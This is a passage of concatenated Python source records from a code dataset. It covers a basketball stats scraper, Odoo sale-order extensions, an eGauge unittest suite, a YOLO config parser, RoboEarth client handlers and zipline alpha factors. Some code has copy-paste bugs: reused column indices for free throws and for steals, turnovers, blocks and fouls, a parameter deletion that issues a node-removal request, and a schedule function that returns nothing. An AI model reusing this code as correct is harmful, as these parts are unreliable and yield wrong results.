season.total_games = max([x.games_played for x in season.roster])\n defensive_totals = [x.find(text=True) for x in reversed_rows[0].findAll(\"td\")]\n offensive_totals = [x.find(text=True) for x in reversed_rows[1].findAll(\"td\")]\n\n season.opponent_field_goals_made = getFloat(defensive_totals[8]) \n season.opponent_field_goals_attempted = getFloat(defensive_totals[9])\n if season.opponent_field_goals_attempted == 0:\n season.opponent_field_goal_percentage = 0.0\n else:\n season.opponent_field_goal_percentage = 100.0 * (season.opponent_field_goals_made / season.opponent_field_goals_attempted)\n\n season.opponent_three_pointers_made = getFloat(defensive_totals[11]) \n season.opponent_three_pointers_attempted = getFloat(defensive_totals[12])\n if season.opponent_three_pointers_attempted == 0:\n season.opponent_three_point_percentage = 0.0\n else:\n season.opponent_three_point_percentage = 100.0 * (season.opponent_three_pointers_made / season.opponent_three_pointers_attempted)\n\n season.opponent_free_throws_made = getFloat(defensive_totals[11]) \n season.opponent_free_throws_attempted = getFloat(defensive_totals[12])\n if season.opponent_free_throws_attempted == 0:\n season.opponent_free_throw_percentage = 0.0\n else:\n season.opponent_free_throw_percentage = 100.0 * (season.opponent_free_throws_made / season.opponent_free_throws_attempted)\n\n season.opponent_points = getInteger(defensive_totals[14])\n season.opponent_points_per_game = season.opponent_points / season.total_games\n season.opponent_offensive_rebounds = getInteger(defensive_totals[16])\n season.opponent_defensive_rebounds = getInteger(defensive_totals[17])\n season.opponent_total_rebounds = season.opponent_offensive_rebounds + season.opponent_defensive_rebounds\n season.opponent_offensive_rebounds_per_game = season.opponent_offensive_rebounds / season.total_games\n season.opponent_defensive_rebounds_per_game = season.opponent_defensive_rebounds / season.total_games\n season.opponent_assists = getInteger(defensive_totals[18])\n season.opponent_steals = getInteger(defensive_totals[19])\n season.opponent_turnovers = getInteger(defensive_totals[19])\n season.opponent_blocks = getInteger(defensive_totals[19])\n season.opponent_fouls = getInteger(defensive_totals[19])\n \n \n season.field_goals_made = getFloat(offensive_totals[8]) \n season.field_goals_attempted = getFloat(offensive_totals[9])\n if season.field_goals_attempted == 0:\n season.field_goal_percentage = 0.0\n else:\n season.field_goal_percentage = 100.0 * (season.field_goals_made / season.field_goals_attempted)\n\n season.three_pointers_made = getFloat(offensive_totals[11]) \n season.three_pointers_attempted = getFloat(offensive_totals[12])\n if season.three_pointers_attempted == 0:\n season.three_point_percentage = 0.0\n else:\n season.three_point_percentage = 100.0 * (season.three_pointers_made / season.three_pointers_attempted)\n\n season.free_throws_made = getFloat(offensive_totals[11]) \n season.free_throws_attempted = getFloat(offensive_totals[12])\n if season.free_throws_attempted == 0:\n season.free_throw_percentage = 0.0\n else:\n season.free_throw_percentage = 100.0 * (season.free_throws_made / season.free_throws_attempted)\n\n season.points = getInteger(offensive_totals[14])\n season.points_per_game = season.points / season.total_games\n season.offensive_rebounds = getInteger(offensive_totals[16])\n season.defensive_rebounds = getInteger(offensive_totals[17])\n season.total_rebounds = season.offensive_rebounds + season.defensive_rebounds\n season.offensive_rebounds_per_game = season.offensive_rebounds / season.total_games\n season.defensive_rebounds_per_game = season.defensive_rebounds / season.total_games\n season.assists = getInteger(offensive_totals[18])\n season.steals = getInteger(offensive_totals[19])\n season.turnovers = getInteger(offensive_totals[19])\n season.blocks = getInteger(offensive_totals[19])\n season.fouls = getInteger(offensive_totals[19])\n\ndef getSchedule(season_id, team_id):\n schedule_url = getUrl(season_id, team_id)\n soup = scraperUtils.getSoup(schedule_url)\n table = soup.find(\"table\", {\"class\" :\"mytable\"})\n print(soup)\n schedule = []\n for row in table.findAll(\"tr\"): \n if row.get('class',[''])[0] == 'grey_heading':\n continue\n cell_data = [x.find(text=True) for x in row.findAll(\"td\")]\n thisGame = MBB.Game()\n thisGame.date = cell_data[0]\n\ndef getSeasonData(season_id,team_id):\n this_season = mbbClasses.TeamSeason(season_id,team_id,getEndYear(season_id))\n this_season.roster = getRoster(season_id, team_id)\n getSeasonStats(this_season)\n this_season.schedule = getSchedule(season_id, team_id)\n return this_season\n\ndef getSeasonsData(team):\n seasonsData = []\n for code in getSeasonCodesList():\n seasonsData.append(getSeasonData(code, team.ncaa_id))\n return seasonsData\n\n\ndef getTeamCode(team_name): \n team_codes = getTeamCodesDict()\n \n if team_name in team_codes:\n return team_codes[team_name]\n else:\n raise Exception(team_name + \" not found in team list.\")\n\ndef getTeam(name):\n ncaa_id = getTeamCode(name) \n team = mbbClasses.Team(name, ncaa_id)\n return team","sub_path":"MBB.py","file_name":"MBB.py","file_ext":"py","file_size_in_byte":11518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"400560544","text":"# -*- coding: utf-8 -*-\n# Copyright (C) 2015 Akretion (http://www.akretion.com)\n# @author Alexis de Lattre \n\nfrom odoo import models, fields, api, _\nfrom odoo.tools import float_is_zero\nfrom collections import OrderedDict\nfrom odoo.tools import float_compare\nfrom odoo.tools.misc import formatLang\n\n\nclass SaleOrder(models.Model):\n _inherit = 'sale.order'\n\n date_order = fields.Datetime(track_visibility='onchange')\n date_confirm = fields.Date(track_visibility='onchange')\n client_order_ref = fields.Char(track_visibility='onchange')\n # for partner_id, the 'sale' module sets track_visibility='always'\n partner_id = fields.Many2one(track_visibility='onchange')\n # for amount_tax, the 'sale' module sets track_visibility='always'\n amount_tax = fields.Monetary(track_visibility='onchange')\n partner_shipping_id = fields.Many2one(track_visibility='onchange')\n partner_invoice_id = fields.Many2one(track_visibility='onchange')\n pricelist_id = fields.Many2one(track_visibility='onchange')\n payment_term_id = fields.Many2one(track_visibility='onchange')\n fiscal_position_id = fields.Many2one(track_visibility='onchange')\n # for reports\n has_discount = fields.Boolean(\n compute='_compute_has_discount', readonly=True)\n has_attachment = fields.Boolean(\n compute='_compute_has_attachment',\n search='_search_has_attachment', readonly=True)\n\n @api.multi\n def _compute_has_discount(self):\n prec = self.env['decimal.precision'].precision_get('Discount')\n for order in self:\n has_discount = False\n for line in order.order_line:\n if not float_is_zero(line.discount, precision_digits=prec):\n has_discount = True\n break\n order.has_discount = has_discount\n\n def _compute_has_attachment(self):\n iao = self.env['ir.attachment']\n for order in self:\n if iao.search_count([\n ('res_model', '=', 'sale.order'),\n ('res_id', '=', order.id),\n ('type', '=', 'binary'),\n ('company_id', '=', order.company_id.id)]):\n order.has_attachment = True\n else:\n order.has_attachment = False\n\n def _search_has_attachment(self, operator, value):\n att_order_ids = {}\n if operator == '=':\n search_res = self.env['ir.attachment'].search_read([\n ('res_model', '=', 'sale.order'),\n ('type', '=', 'binary'),\n ('res_id', '!=', False)], ['res_id'])\n for att in search_res:\n att_order_ids[att['res_id']] = True\n res = [('id', value and 'in' or 'not in', att_order_ids.keys())]\n return res\n\n @api.multi\n def action_confirm(self):\n '''Reload view upon order confirmation to display the 3 qty cols'''\n res = super(SaleOrder, self).action_confirm()\n if len(self) == 1:\n res = self.env['ir.actions.act_window'].for_xml_id(\n 'sale', 'action_orders')\n res.update({\n 'view_mode': 'form,tree,kanban,calendar,pivot,graph',\n 'res_id': self.id,\n 'views': False,\n 'context': {'hide_sale': False},\n })\n return res\n\n # for report\n @api.multi\n def py3o_lines_layout(self):\n self.ensure_one()\n res1 = OrderedDict()\n # {categ(6): {'lines': [l1, l2], 'subtotal': 23.32}}\n for line in self.order_line:\n categ = line.layout_category_id\n if categ in res1:\n res1[categ]['lines'].append(line)\n res1[categ]['subtotal'] += line.price_subtotal\n else:\n res1[categ] = {\n 'lines': [line],\n 'subtotal': line.price_subtotal}\n\n res2 = []\n if len(res1) == 1 and not res1.keys()[0]:\n # No category at all\n for line in res1.values()[0]['lines']:\n res2.append({'line': line})\n else:\n for categ, ldict in res1.iteritems():\n res2.append({'categ': categ})\n for line in ldict['lines']:\n res2.append({'line': line})\n if categ.subtotal:\n res2.append({'subtotal': ldict['subtotal']})\n # res2:\n # [\n # {'categ': categ(1)},\n # {'line': sale_order_line(2)},\n # {'line': sale_order_line(3)},\n # {'subtotal': 8932.23},\n # ]\n return res2\n\n\nclass SaleOrderLine(models.Model):\n _inherit = 'sale.order.line'\n\n @api.onchange('product_uom', 'product_uom_qty')\n def product_uom_change(self):\n # When the user has manually set a custom price\n # he is often upset when Odoo changes it when he changes the qty\n # So we add a warning in which we recall the old price.\n res = {}\n old_price = self.price_unit\n super(SaleOrderLine, self).product_uom_change()\n new_price = self.price_unit\n prec = self.env['decimal.precision'].precision_get('Product Price')\n if float_compare(old_price, new_price, precision_digits=prec):\n pricelist = self.order_id.pricelist_id\n cur_symbol = pricelist.currency_id.symbol\n res['warning'] = {\n 'title': _('Price updated'),\n 'message': _(\n \"Due to the update of the ordered quantity on line '%s', \"\n \"the price has been updated according to pricelist %s.\\n\"\n \"Old price: %s\\n\"\n \"New price: %s\") % (\n self.name,\n pricelist.display_name,\n formatLang(self.env, old_price, currency_obj=pricelist.currency_id),\n formatLang(self.env, new_price, currency_obj=pricelist.currency_id))\n }\n return res\n\n\nclass ProcurementGroup(models.Model):\n _inherit = 'procurement.group'\n\n sale_ids = fields.One2many(\n 'sale.order', 'procurement_group_id', string='Sale Orders',\n readonly=True)\n","sub_path":"sale_usability/sale.py","file_name":"sale.py","file_ext":"py","file_size_in_byte":6219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"571238221","text":"\"\"\"\nTest suite for egauge_api using the unittest module\n\"\"\"\n\nfrom freezegun import freeze_time\n\nimport arrow\nimport egauge_api\nimport filecmp\nimport os\nimport random\nimport unittest\n\nSCRIPT_DIRECTORY = os.path.dirname(os.path.realpath(__file__))\n\nclass TestEgaugeAPI(unittest.TestCase):\n \"\"\"\n A test suite for egauge_api\n\n Automatically runs any function starting with 'test_' in its name when main() is called\n\n Currently has tests for\n 1. running pull_egauge_data() with no pre-existing timestamp file\n 2. running pull_egauge_data() with a timestamp file that already has one timestamp\n\n BUGS:\n - setting current time using freezegun will result in any logged error messages using the 'frozen' time instead of the actual current time of the system.\n - running pull_egauge_data using freezegun prevents time elapsed from working properly\n \"\"\"\n def test_blank_timestamp_file(self, sensor_id='725', unit_of_time='m'):\n START_TIME = arrow.get('2018-01-01T00:00:00.000-10:00').timestamp\n END_TIME = arrow.get('2018-01-01T01:00:00.000-10:00').timestamp\n self.assertTrue(START_TIME < END_TIME)\n\n TEST_OUTPUT = SCRIPT_DIRECTORY + '/test_output.log'\n TEST_TIMESTAMP_LOG = SCRIPT_DIRECTORY + '/test_timestamp.log'\n self.assertFalse(os.path.isfile(TEST_TIMESTAMP_LOG))\n\n with freeze_time(time_to_freeze=arrow.get(END_TIME).format('YYYY-MM-DD HH:mm:ss ZZ')):\n egauge_api.pull_egauge_data(sensor_id, unit_of_time, TEST_OUTPUT, TEST_TIMESTAMP_LOG)\n\n with open(TEST_TIMESTAMP_LOG, 'a+') as timestamp_file:\n timestamp_file.seek(0)\n for line in timestamp_file:\n line = line.rstrip()\n if line is not '':\n latest_timestamp_read_from_file = int(line)\n self.assertTrue(latest_timestamp_read_from_file == END_TIME)\n self.assertFalse(os.path.isfile(TEST_OUTPUT))\n os.remove(TEST_TIMESTAMP_LOG)\n\n def test_pull_egauge_data(self):\n \"\"\"\n Test running pull_egauge_data multiple times to confirm that there are no missing values and that there are no duplicate values\n\n Use freezegun to manually set the 'current time' for testing\n\n Call pull_egauge_data() over a large amount of time and output the data to a expected output file\n Call pull_egauge_data() multiple times adding up to that same amount of time and append data to a test output file\n Use a for loop to iterate through elapsed time with random variations that will be subtracted from the current time interval to account for time variation in testing\n Compare the expected and test files for differences\n\n \"\"\"\n sensors = ['725']\n # sensors = ['725', '795', '31871']\n for sensor_id in sensors:\n #set START_TIME and END_TIME by converting a human-readable time into a unix timestamp\n START_TIME = arrow.get('2018-01-01T00:00:00.000-10:00').timestamp\n END_TIME = arrow.get('2018-01-01T04:01:03.000-10:00').timestamp\n\n self.assertTrue(START_TIME < END_TIME)\n\n unit_of_time = 'm'\n\n EXPECTED_OUTPUT = SCRIPT_DIRECTORY + '/expected_output.log'\n EXPECTED_TIMESTAMP_LOG = SCRIPT_DIRECTORY + '/expected_timestamp.log'\n #open EXPECTED_TIMESTAMP_LOG and append START_TIME\n with open(EXPECTED_TIMESTAMP_LOG, 'a+') as exp_test_file:\n exp_test_file.write(str(START_TIME) + '\\n')\n\n #sensor_id, unit_of_time, output_file, timestamp_log\n with freeze_time(time_to_freeze=arrow.get(END_TIME).format('YYYY-MM-DD HH:mm:ss ZZ')):\n egauge_api.pull_egauge_data(sensor_id, unit_of_time, EXPECTED_OUTPUT, EXPECTED_TIMESTAMP_LOG)\n\n #notice that START_TIME is used to set current_timestamp because the time interval will be added within the while loop\n TEST_OUTPUT = SCRIPT_DIRECTORY + '/test_output.log'\n TEST_TIMESTAMP_LOG = SCRIPT_DIRECTORY + '/test_timestamp.log'\n #open TEST_TIMESTAMP_LOG and append START_TIME\n with open(TEST_TIMESTAMP_LOG, 'a+') as test_file:\n test_file.write(str(START_TIME) + '\\n')\n\n # MAX_TIME_INTERVAL represents the maximum number of seconds elapsed between calls\n MAX_TIME_INTERVAL = 3600\n # seed can be any integer; setting the seed allows for consistency in testing\n random.seed(42)\n # use floor division to ensure that an int is returned from dividing an int by an int\n MAX_NUMBER_OF_PULLS = int((END_TIME - START_TIME)//MAX_TIME_INTERVAL)\n # use for loop to simulate calling egauge_api.pull_egauge_data() multiple times over randomly generated periods of time\n for number_of_pulls in range(MAX_NUMBER_OF_PULLS + 1):\n current_timestamp = ''\n if(number_of_pulls < MAX_NUMBER_OF_PULLS):\n max_time_elapsed = (number_of_pulls + 1) * MAX_TIME_INTERVAL\n random_time_variance = random.randrange(1, MAX_TIME_INTERVAL)\n current_timestamp = max_time_elapsed - random_time_variance + START_TIME\n else: #during the last pull, set the current time to END_TIME\n current_timestamp = END_TIME\n # make a call to pull_egauge_data() setting current time to the latest value of current_timestamp\n with freeze_time(time_to_freeze=arrow.get(current_timestamp).format('YYYY-MM-DD HH:mm:ss ZZ')):\n egauge_api.pull_egauge_data(sensor_id, unit_of_time, TEST_OUTPUT, TEST_TIMESTAMP_LOG)\n\n #confirm that the output files match\n self.assertTrue(filecmp.cmp(EXPECTED_OUTPUT, TEST_OUTPUT))\n\n #cleanup\n os.remove(EXPECTED_TIMESTAMP_LOG)\n os.remove(TEST_TIMESTAMP_LOG)\n os.remove(EXPECTED_OUTPUT)\n os.remove(TEST_OUTPUT)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"egauge/script/test_egauge_api.py","file_name":"test_egauge_api.py","file_ext":"py","file_size_in_byte":6030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"160614854","text":"import os\n\n\ndef parse_model_config(path):\n # Parse config file into list of maps\n file = open(path, 'r')\n lines = file.read().split('\\n') # split line by newline\n lines = [x for x in lines if x and not x.startswith('#')] # remove comments\n lines = [x.rstrip().lstrip() for x in lines] # remove fringe whitespaces\n module_defs = []\n for line in lines:\n if line.startswith('['): # start of a new block\n module_defs.append({})\n module_defs[-1]['type'] = line[1:-1].rstrip()\n if module_defs[-1]['type'] == 'convolutional':\n module_defs[-1]['batch_normalize'] = 0 # default batch_normalize for conv layers\n else:\n key, value = line.split(\"=\")\n value = value.strip()\n module_defs[-1][key.rstrip()] = value.strip()\n return module_defs\n\n\n\n\nif __name__ == '__main__':\n cwd = os.getcwd()\n parent_dir = os.path.join(cwd, os.pardir)\n config_dir = os.path.join(parent_dir, \"config/yolov3_face_mask.cfg\")\n module_defs = parse_model_config(config_dir)\n print(module_defs)","sub_path":"YOLOv3/utils/parse_config.py","file_name":"parse_config.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"490359654","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# \n# handler.py\n# \n# This file is part of the RoboEarth Cloud Engine framework.\n# \n# This file was originally created for RoboEearth\n# http://www.roboearth.org/\n# \n# The research leading to these results has received funding from\n# the European Union Seventh Framework Programme FP7/2007-2013 under\n# grant agreement no248942 RoboEarth.\n# \n# Copyright 2012 RoboEarth\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n# \\author/s: Dominique Hunziker \n# \n# \n\n# Python specific imports\nimport json\n\n# zope specific imports\nfrom zope.interface import implements\n\n# Custom imports\nfrom errors import InvalidRequest, AuthenticationError\nfrom client.interfaces import IClientMsgHandler\nfrom client import types\nfrom core.types import req\n\n\nclass AuthenticationHandler(object):\n \"\"\" Handler for Authentication Requests in Master.\n \"\"\"\n def __init__(self, manager):\n \"\"\" Initialize the handler.\n \n @param manager: Master Manager which is used to handle the\n request.\n @type manager: core.manager.MasterManager\n \"\"\"\n self._manager = manager\n \n def handle(self, args):\n \"\"\" Handle the authentication request.\n \n @param args: Arguments which are passed with the request.\n @type args: { str : [str] }\n \"\"\"\n try:\n userID = args['userID']\n robotID = args['robotID']\n except KeyError as e:\n raise InvalidRequest('Request is missing parameter: {0}'.format(e))\n \n if len(userID) != 1:\n raise InvalidRequest(\"Parameter 'userID' has to be unique in \"\n 'request.')\n else:\n userID = userID[0]\n \n if len(robotID) != 1:\n raise InvalidRequest(\"Parameter 'robotID' has to be unique in \"\n 'request.')\n else:\n robotID = robotID[0]\n \n response = self._manager.newConnection(userID, robotID)\n \n if not response:\n raise AuthenticationError('Could not authenticate user.')\n \n key, ip = response\n \n return {'key' : key, 'url' : 'ws://{0}:9010/'.format(ip)}\n\n\nclass _ClientHandlerBase(object):\n \"\"\" Base class for all client message handler.\n \"\"\"\n implements(IClientMsgHandler)\n \n def __init__(self, manager, userID):\n \"\"\" Initialize the handler.\n \n @param manager: Manager which is used to handle client\n requests.\n @type manager: core.manager.RobotManager\n \n @param userID: User ID of the owner of this connected robot.\n @type userID: str\n \"\"\"\n self._manager = manager\n self._userID = userID\n \n \nclass CreateContainerHandler(_ClientHandlerBase):\n \"\"\" Handler for the message type 'CreateContainer'.\n \"\"\"\n TYPE = types.CREATE_CONTAINER\n \n def handle(self, msg):\n try:\n self._manager.sendRequest({'user' : self._userID,\n 'type' : req.CREATE_CONTAINER,\n 'args' : (msg['containerTag'],)})\n except KeyError as e:\n raise InvalidRequest('Can not process \"CreateContainer\" request. '\n 'Missing key: {0}'.format(e))\n\n\nclass DestroyContainerHandler(_ClientHandlerBase):\n \"\"\" Handler for the message type 'DestroyContainer'.\n \"\"\"\n TYPE = types.DESTROY_CONTAINER\n \n def handle(self, msg):\n self._manager.sendRequest({'user' : self._userID,\n 'type' : req.DESTROY_CONTAINER,\n 'args' : (msg['containerTag'],)})\n\n\nclass ConfigureContainerHandler(_ClientHandlerBase):\n \"\"\" Handler for the message type 'ConfigureContainer'.\n \"\"\"\n TYPE = types.CONFIGURE_COMPONENT\n \n def handle(self, msg):\n if 'addNodes' in msg:\n for node in msg['addNodes']:\n self._manager.sendRequest({\n 'user' : self._userID,\n 'type' : req.ADD_NODE,\n 'args' : (node['containerTag'], node['nodeTag'],\n node['pkg'], node['exe'], node.get('args', ''),\n node.get('name', ''), node.get('namespace', ''))\n })\n \n if 'removeNodes' in msg:\n for node in msg['removeNodes']:\n self._manager.sendRequest({'user' : self._userID,\n 'type' : req.REMOVE_NODE,\n 'args' : (node['containerTag'],\n node['nodeTag'])})\n \n if 'addInterfaces' in msg:\n for conf in msg['addInterfaces']:\n self._manager.sendRequest({\n 'user' : self._userID,\n 'type' : req.ADD_INTERFACE,\n 'args' : (conf['interfaceType'], conf['endpointTag'],\n conf['interfaceTag'], conf['className'],\n conf.get('addr', ''))\n })\n \n if 'removeInterfaces' in msg:\n for interfaceTag in msg['removeInterfaces']:\n self._manager.sendRequest({'user' : self._userID,\n 'type' : req.REMOVE_INTERFACE,\n 'args' : (interfaceTag,)})\n \n if 'setParam' in msg:\n for param in msg['setParam']:\n self._manager.sendRequest({\n 'user' : self._userID,\n 'type' : req.ADD_PARAMETER,\n 'args' : (param['containerTag'], param['name'],\n json.dumps(param['value']), param['paramType'])\n })\n \n if 'deleteParam' in msg:\n for param in msg['deleteParam']:\n self._manager.sendRequest({'user' : self._userID,\n 'type' : req.REMOVE_NODE,\n 'args' : (param['containerTag'],\n param['name'])})\n\n\nclass ConnectInterfacesHandler(_ClientHandlerBase):\n \"\"\" Handler for the message type 'ConnectInterfaces'.\n \"\"\"\n TYPE = types.CONFIGURE_CONNECTION\n \n def handle(self, msg):\n if 'connect' in msg:\n for conn in msg['connect']:\n self._manager.sendRequest({'user' : self._userID,\n 'type' : req.ADD_CONNECTION,\n 'args' : (conn['tagA'],\n conn['tagB'])})\n \n if 'disconnect' in msg:\n for conn in msg['disconnect']:\n self._manager.sendRequest({'user' : self._userID,\n 'type' : req.REMOVE_CONNECTION,\n 'args' : (conn['tagA'],\n conn['tagB'])})\n\n\nclass DataMessageHandler(_ClientHandlerBase):\n \"\"\" Handler for the message type 'DataMessage'.\n \"\"\"\n TYPE = types.DATA_MESSAGE\n \n def handle(self, msg):\n self._manager.receivedFromClient(self._userID, msg['orig'],\n msg['dest'], msg['type'],\n msg['msgID'], msg['msg'])\n","sub_path":"framework/client/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":8247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"574150519","text":"import warnings\nimport pandas as pd\nimport numpy as np\nfrom scripts.project_helper import Sector\nfrom zipline.pipeline.factors import CustomFactor, DailyReturns, Returns,RSI, SimpleMovingAverage, AnnualizedVolatility,AverageDollarVolume\nfrom zipline.pipeline.data import USEquityPricing\nfrom zipline.pipeline import Pipeline\nfrom sklearn.linear_model import LinearRegression\nwarnings.filterwarnings(\"ignore\")\n\n\ndef momentum_1yr(window_length, universe, sector):\n return Returns(window_length=window_length, mask=universe) \\\n .demean(groupby=sector) \\\n .rank() \\\n .zscore()\n\ndef mean_reversion_5day_sector_neutral_smoothed(window_length, universe, sector):\n unsmoothed_factor = - Returns(window_length=window_length, mask=universe) \\\n .demean(groupby=sector) \\\n .rank() \\\n .zscore()\n return SimpleMovingAverage(inputs=[unsmoothed_factor], window_length=window_length) \\\n .rank() \\\n .zscore()\n\nclass CTO(Returns):\n \"\"\"\n Computes the overnight return, per hypothesis from\n https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2554010\n \"\"\"\n inputs = [USEquityPricing.open, USEquityPricing.close]\n \n def compute(self, today, assets, out, opens, closes):\n \"\"\"\n The opens and closes matrix is 2 rows x N assets, with the most recent at the bottom.\n As such, opens[-1] is the most recent open, and closes[0] is the earlier close\n \"\"\"\n out[:] = (opens[-1] - closes[0]) / closes[0]\n \nclass TrailingOvernightReturns(Returns):\n \"\"\"\n Sum of trailing 1m O/N returns\n \"\"\"\n window_safe = True\n \n def compute(self, today, asset_ids, out, cto):\n out[:] = np.nansum(cto, axis=0)\n\ndef overnight_sentiment_smoothed(cto_window_length, trail_overnight_returns_window_length, universe):\n cto_out = CTO(mask=universe, window_length=cto_window_length)\n unsmoothed_factor = TrailingOvernightReturns(inputs=[cto_out], window_length=trail_overnight_returns_window_length) \\\n .rank() \\\n .zscore()\n return SimpleMovingAverage(inputs=[unsmoothed_factor], window_length=trail_overnight_returns_window_length) \\\n .rank() \\\n .zscore()\n\ndef rsi_sector_neutral(window_length,universe,sector):\n returns = Returns(window_length=window_length, mask=universe) \\\n .demean(groupby=sector) \\\n .rank() \\\n .zscore()\n return RSI(inputs=[returns],window_length = window_length).rank().zscore()\n\nclass RegressionAgainstTime(CustomFactor):\n\n # choose a window length that spans one year's worth of trading days\n window_length = 252\n \n # use USEquityPricing's close price\n inputs = [USEquityPricing.close]\n \n # set outputs to a list of strings, which are names of the outputs\n # We're calculating regression coefficients for two independent variables, \n # called beta and gamma\n outputs = ['beta', 'gamma']\n \n def compute(self, today, assets, out, dependent):\n \n # of the window length. E.g. [1,2,3...252]\n t1 = np.arange(self.window_length)\n \n t2 = np.arange(self.window_length)**2\n \n # combine t1 and t2 into a 2D numpy array\n X = np.array([t1,t2]).T\n\n \n #the number of stocks is equal to the length of the \"out\" variable,\n # because the \"out\" variable has one element for each stock\n n_stocks = len(out)\n # loop over each asset\n\n for i in range(n_stocks):\n # \"dependent\" is a 2D numpy array that\n # has one stock series in each column,\n # and days are along the rows.\n # set y equal to all rows for column i of \"dependent\"\n y = dependent[:, i]\n \n # run a regression only if all values of y\n # are finite.\n if np.all(np.isfinite(y)):\n # create a LinearRegression object\n regressor = LinearRegression()\n \n # fit the regressor on X and y\n regressor.fit(X, y)\n \n # store the beta coefficient\n out.beta[i] = regressor.coef_[0]\n \n # store the gamma coefficient\n out.gamma[i] = regressor.coef_[1]\n else:\n # store beta as not-a-number\n out.beta[i] = np.nan\n \n # store gammas not-a-number\n out.gamma[i] = np.nan\n\nclass DownsideRisk(CustomFactor):\n '''Mean Returns divided by std of 1yr daily losses (Sortino Ratio)'''\n \n inputs = [USEquityPricing.close]\n \n window_length = 252\n \n def compute(self,today,assets,out,close):\n \n ret = pd.DataFrame(close).pct_change()\n \n out[:] = ret.mean().div(ret.where(ret < 0).std())\n \nclass Vol3M(CustomFactor):\n '''3-month Volatility: Standard Deviation of returns over 3 Months'''\n \n inputs = [USEquityPricing.close]\n window_length = 63\n \n def compute(self,today,assets,out,close):\n \n out[:] = np.log1p(pd.DataFrame(close).pct_change()).std()\n\nclass MarketDispersion(CustomFactor):\n inputs = [DailyReturns()]\n window_length = 1\n window_safe = True\n\n def compute(self, today, assets, out, returns):\n # returns are days in rows, assets across columns\n out[:] = np.sqrt(np.nanmean((returns - np.nanmean(returns))**2))\n\nclass MarketVolatility(CustomFactor):\n inputs = [DailyReturns()]\n window_length = 1\n window_safe = True\n \n def compute(self, today, assets, out, returns):\n mkt_returns = np.nanmean(returns, axis=1)\n out[:] = np.sqrt(260.* np.nanmean((mkt_returns-np.nanmean(mkt_returns))**2))\n\ndef compute_date_features(all_factors,start_date,end_date):\n\t\n\tall_factors['is_March'] = all_factors.index.get_level_values(0).month == 3\n\t\n\tall_factors['is_April'] = all_factors.index.get_level_values(0).month == 4\n\t\n\tall_factors['weekday'] = all_factors.index.get_level_values(0).weekday\n\t\n\tall_factors['quarter'] = all_factors.index.get_level_values(0).quarter\n\t\n\tall_factors['qtr_yr'] = all_factors.quarter.astype('str') + '_' + all_factors.index.get_level_values(0).year.astype('str')\n\t\n\tall_factors['month_end'] = all_factors.index.get_level_values(0).isin(pd.date_range(start=start_date, end=end_date, freq='BM'))\n\t\n\tall_factors['month_start'] = all_factors.index.get_level_values(0).isin(pd.date_range(start=start_date, end=end_date, freq='BMS'))\n\t\n\tall_factors['qtr_end'] = all_factors.index.get_level_values(0).isin(pd.date_range(start=start_date, end=end_date, freq='BQ'))\n\t\n\tall_factors['qtr_start'] = all_factors.index.get_level_values(0).isin(pd.date_range(start=start_date, end=end_date, freq='BQS'))\n\n\treturn all_factors\n\ndef one_hot_encode_sectors(all_factors):\n\t\n\tnifty_500 = pd.read_csv('data/ind_nifty500list.csv')\n\t\n\tIndustries = list(nifty_500['Industry'].unique())\n\t\n\tIndustry_code = [i for i in range(1,len(Industries) + 1)]\n\t\n\tsector_lookup = dict(zip(Industry_code,Industries))\n\n\tsector_columns = []\n\n\tfor sector_i, sector_name in sector_lookup.items():\n\t\tsector_column = 'sector_{}'.format(sector_name)\n\t\tsector_columns.append(sector_column)\n\t\tall_factors[sector_column] = (all_factors['sector_code'] == sector_i)\n\n\treturn all_factors\n\ndef run_data_pipeline(engine,universe,start_date,end_date):\n\t\n\tpipeline = Pipeline(screen=universe)\n\n\tsector = Sector()\n\n\t# Alpha Factors :\n\n\tpipeline.add(DownsideRisk(),'Downside Risk (Sortino Ratio)')\n\n\tpipeline.add(Vol3M(),'3 Month Volatility')\n\n\tpipeline.add(momentum_1yr(252, universe, sector),'Momentum_1YR')\n\n\tpipeline.add(mean_reversion_5day_sector_neutral_smoothed(20, universe, sector),'Mean_Reversion_Sector_Neutral_Smoothed')\n\n\tpipeline.add(overnight_sentiment_smoothed(2, 10, universe),'Overnight_Sentiment_Smoothed')\n\n\tpipeline.add(rsi_sector_neutral(15,universe,sector),'RSI_Sector_Neutral_15d')\n\n\tpipeline.add(rsi_sector_neutral(30,universe,sector),'RSI_Sector_Neutral_30d')\n\n\tbeta_factor = (RegressionAgainstTime(mask=universe).beta.rank().zscore())\n\n\tgamma_factor = (RegressionAgainstTime(mask=universe).gamma.rank().zscore())\n\n\tconditional_factor = (beta_factor*gamma_factor).rank().zscore()\n\n\tpipeline.add(beta_factor, 'time_beta')\n\n\tpipeline.add(gamma_factor, 'time_gamma')\n\n\tpipeline.add(conditional_factor, 'conditional_factor')\n\n\t# Universal Quant Features :\n\n\tpipeline.add(AnnualizedVolatility(window_length=20, mask=universe).rank().zscore(), 'volatility_20d')\n\t\n\tpipeline.add(AnnualizedVolatility(window_length=120, mask=universe).rank().zscore(), 'volatility_120d')\n\t\n\tpipeline.add(AverageDollarVolume(window_length=20, mask=universe).rank().zscore(), 'adv_20d')\n\n\tpipeline.add(AverageDollarVolume(window_length=120, mask=universe).rank().zscore(), 'adv_120d')\n\n\tpipeline.add(sector, 'sector_code')\n\n\t# Regime Features :\n\n\tpipeline.add(SimpleMovingAverage(inputs=[MarketDispersion(mask=universe)], window_length=20), 